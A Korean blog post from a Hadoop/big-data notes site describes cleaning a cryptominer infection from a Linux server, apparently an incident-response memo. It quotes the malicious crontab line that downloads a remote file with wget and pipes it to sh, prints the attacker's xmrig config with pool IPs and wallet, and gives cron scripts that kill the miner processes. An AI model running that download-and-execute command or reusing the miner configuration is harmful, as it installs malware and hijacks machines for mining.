메뉴 건너뛰기

Bigdata, Semantic IoT, Hadoop, NoSQL

Bigdata, Hadoop ecosystem, Semantic IoT등의 프로젝트를 진행중에 습득한 내용을 정리하는 곳입니다.
필요한 분을 위해서 공개하고 있습니다. 문의사항은 gooper@gooper.com로 메일을 보내주세요.


0. crontab에 등록되어 있는 문장을 삭제한다.

 - * * * * * wget -q http://192.99.142.232:8220/logo4.jpg -O - | sh

0-1. top을 해서 cpu나 메모리를 100%이상 사용하는 프로세스를 찾아 지워준다

 ( "jps -ef | grep 프로세스ID"로 찾아서 반복적으로 지우는 shell프로그램을 만들어 crontab에 등록시켜준다.)

 (예, 

  root@gsda4:/root# ps -ef | grep 19544

  root     19544     1 99 22:05 ?        00:41:51 /tmp/java -c /tmp/w.conf

  root     23204 18301  0 22:16 pts/0    00:00:00 grep 19544

 )


1. shell프로그램을 만들어서 755권한을 부여한후 crontab에 등록해서 특정 문자열이 들어 있는 프로세스를 죽이고 관련 폴더/파일을 삭제한다.

2. /var/tmp/config.json 이 있으면 지워준다.

root@gsda4:/var/tmp# vi config.json 
{
    "algo": "cryptonight",  // cryptonight (default) or cryptonight-lite
    "av": 0,                // algorithm variation, 0 auto select
    "background": true,    // true to run the miner in the background
    "colors": true,         // false to disable colored output    
    "cpu-affinity": null,   // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
    "cpu-priority": null,   // set process priority (0 idle, 2 normal to 5 highest)
    "donate-level": 1,      // donate level, mininum 1%
    "log-file": null,       // log all output to a file, example: "c:/some/path/xmrig.log"
    "max-cpu-usage": 95,    // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.  
    "print-time": 60,       // print hashrate report every N seconds
    "retries": 5,           // number of times to retry before switch to backup server
    "retry-pause": 5,       // time to pause between retries
    "safe": false,          // true to safe adjust threads and av settings for current CPU
    "threads": null,        // number of miner threads
    "pools": [
        {
            "url": "158.69.133.20:3333",   // URL of mining server
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg",                        // username for mining server
            "pass": "x",                       // password for mining server
            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
            "nicehash": false                  // enable nicehash/xmrig-proxy support
        },
        {
            "url": "192.99.142.249:3333",   // URL of mining server
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg",                        // username for mining server
            "pass": "x",                       // password for mining server
            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
            "nicehash": false                  // enable nicehash/xmrig-proxy support
        },
        {
            "url": "202.144.193.110:3333",   // URL of mining server
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg",                        // username for mining server
            "pass": "x",                       // password for mining server
            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
            "nicehash": false                  // enable nicehash/xmrig-proxy support
        }
    ],
    "api": {
        "port": 0,                             // port for the miner API https://github.com/xmrig/xmrig/wiki/API
        "access-token": null,                  // access token for API
        "worker-id": null                      // custom worker-id for API
    }
}


3. /tmp 폴더 정리

  -  ???.conf 류의 파일 삭제

  - /tmp/java 삭제

  - /tmp/conf 삭제



-> crontab -e

* * * * * /suppoie.sh

* * * * * /tmpconf.sh

* * * * * /crypto.sh


1.suppoie.sh

#!/bin/sh


Log=/home/suppoie.log

DATE=`date +%Y%m%d-%H%M%S`


Cnt=`ps -ef|grep "suppoie"|grep -v grep|wc -l`

PROCESS=`ps -ef|grep "suppoie"|grep -v grep|awk '{print $2}'`


if [ $Cnt -ne 0 ]

then

   kill -9 $PROCESS

   echo "$DATE : suppoie server (PID : $PROCESS) has killed." >> $Log

   rm /var/tmp/config.json

   rm /var/tmp/suppoie

fi


2. tmpconf.sh

#!/bin/sh


Log=/home/tmpconf.log

DATE=`date +%Y%m%d-%H%M%S`


Cnt=`ps -ef|grep "tmp/java"|grep -v grep|wc -l`

PROCESS=`ps -ef|grep "tmp/java"|grep -v grep|awk '{print $2}'`


if [ $Cnt -ne 0 ]

then

   kill -9 $PROCESS

   echo "$DATE : tmpconf server (PID : $PROCESS) has killed." >> $Log

fi


3. crypto.sh

#!/bin/sh


Log=/home/crypto.log

DATE=`date +%Y%m%d-%H%M%S`


Cnt=`ps -ef|grep "crypto"|grep -v grep|wc -l`

PROCESS=`ps -ef|grep "crypto"|grep -v grep|awk '{print $2}'`


if [ $Cnt -ne 0 ]

then

   kill -9 $PROCESS

   echo "$DATE : crypto server (PID : $PROCESS) has killed." >> $Log

fi

번호 제목 글쓴이 날짜 조회 수
580 hbase startrow와 endrow를 지정하여 검색하기 샘플 총관리자 2016.12.07 70
579 CentOS6에 python3.5.1 소스코드로 빌드하여 설치하기 총관리자 2016.05.27 71
578 jdk 9이상 사용하려면 repository를 아래와 같이 지정해야한다. 총관리자 2019.06.02 71
577 Cloudera의 CMS각 컴포넌트의 역할 총관리자 2020.02.10 71
576 SPIN(SPARQL Inference Notation)이란.. file 총관리자 2016.02.25 73
575 [sbt] sbt 0.13.11 를 windows에 설치하고 scala프로그램을 compile해서 jar파일 만들기 총관리자 2016.07.11 73
574 drools에서 drl관련 로그를 기록하기 위한 클래스 파일 총관리자 2016.07.21 74
573 [SBT] project.sbt에 libraryDependencies에 필요한 jar를 지정했으나 sbt compile할때 클래스를 못찾는 오류가 발생했을때 조치사항 총관리자 2016.08.03 74
572 DBCP Datasource(org.apache.commons.dbcp.BasicDataSource) 설정 및 속성 설명 총관리자 2016.09.26 74
571 Hadoop 2.7.x에서 사용할 수 있는 파일/디렉토리 관련 util성 클래스 파일 총관리자 2017.09.28 74
570 gradle을 이용하여 jar파일 생성시 provided속성을 지정할 수 있게 설정하는 방법 총관리자 2016.08.09 75
569 특정 커밋 시점(commit id를 기준으로)으로 돌리기(reset) 총관리자 2016.11.21 75
568 [CentOS 7.4]Hadoop NFS gateway기동시 Cannot connect to port 2049 오류 발생시 확인/조치 총관리자 2022.03.02 75
567 small file 한개 파일로 만들기(text file 혹은 parquet file의 테이블) gooper 2022.07.04 75
566 S2RDF 테스트(벤치마크 테스트를 기준으로 python, scala소스가 만들어져서 기능은 파악되지 못함) [2] file 총관리자 2016.05.27 76
565 How-to: Tune Your Apache Spark Jobs (Part 2) file 총관리자 2016.10.31 77
564 테이블의 row수를 빠르게 카운트 하는 방법 총관리자 2017.01.26 77
563 hadoop에서 yarn jar ..를 이용하여 appliction을 실행하여 정상적(?)으로 수행되었으나 yarn UI의 어플리케이션 목록에 나타나지 않는 문제 총관리자 2017.05.02 77
562 A Cluster의 HDFS 디렉토리및 파일을 사용자및 권한 유지 하여 다운 받아서 B Cluster에 넣기 총관리자 2020.05.06 77
561 Query Status: Sender xxx.xxx.xxx.xxx timed out waiting for receiver fragment instance: 1234:cdsf, dest node: 10 의 오류 원인및 대응방안 총관리자 2021.11.03 77

A personal place to organize information learned during the development of such Hadoop, Hive, Hbase, Semantic IoT, etc.
We are open to the required minutes. Please send inquiries to gooper@gooper.com.

위로